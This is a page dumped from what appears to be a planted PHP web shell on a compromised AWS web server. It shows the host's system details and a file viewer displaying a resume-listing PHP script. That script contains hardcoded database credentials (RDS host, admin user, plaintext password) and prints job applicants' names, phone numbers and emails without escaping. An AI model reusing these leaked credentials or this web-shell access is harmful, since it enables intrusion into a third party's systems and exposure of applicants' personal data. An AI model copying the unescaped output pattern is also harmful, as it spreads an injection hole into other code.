0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.93.183


Current Path : /proc/thread-self/root/var/www/html/tadabills/
Upload File :
Current File : //proc/thread-self/root/var/www/html/tadabills/resume_det_old.php

<?php


$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "Logisys2104";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_comexam";

$query  = "SELECT * FROM {$db}.jobdet
WHERE ifnull(fdeleted,'')  <> 'T'
group by  fmobile
order by fintdate desc";
//var_dump($query);
$result = mysqli_query($conn, $query);
$count = mysqli_num_rows($result);

//<center><h1>'.$row1['funivname'].'</h1><h2>Final Time Table of UG Courses MAY / JUNE 2019 Examination</center></h2><center>
$table = '
    <table style="margin-left:2px;text-align: left;width: 60%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151">
			<thead> 
			<tr style = "background-color:#8acc51">
			 <th width="8%"><center>Sl. No.</center></th>
             <th width="15%"><center>Name</center></th>
             <th><center>Mobile No.</center></th>
             <th><center>Email Id</center></th>
             <th><center>Preferred Location</center></th>
             <th><center>Applied Date</center></th>
			 <th width="25%"><center>Resume</center></th>
			</tr>
		</thead>';	
$i = 0;

if($count > 0)
{
    while($row = mysqli_fetch_assoc($result))
    {
        $table .= "<tr bgcolor='#ffffff' >";
        $table .= "<td><center>".++$i."</center></td>";
        $table .= "<td>".$row['fname']."</td>";
        $table .= "<td>".$row['fmobile']."</td>";
        $table .= "<td>".$row['femail']."</td>";
        $table .= "<td>".$row['fpreferloc']."</td>";
        $table .= "<td>".$row['fintdate']."</td>";
        $table .= "<td><a href='resumes/".$row['frespath']."' target = 'blank'>Resume</a></td>";
        $table .= "</tr>";
    }
}
else
{
    $table .= "<tr bgcolor='#ffffff' >";
    $table .= "<td colspan='4'><center>No data found</center></td>";
}

// $subject = "{$row['funivname']} Statistics as on ".$row['fdate'];
echo $table;

function moneyFormatIndia($num) {
    $explrestunits = "" ;
    if(strlen($num)>3) {
        $lastthree = substr($num, strlen($num)-3, strlen($num));
        $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
        $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for($i=0; $i<sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if($i==0) {
                $explrestunits .= (int)$expunit[$i].","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i].",";
            }
        }
        $thecash = $explrestunits.$lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}

?>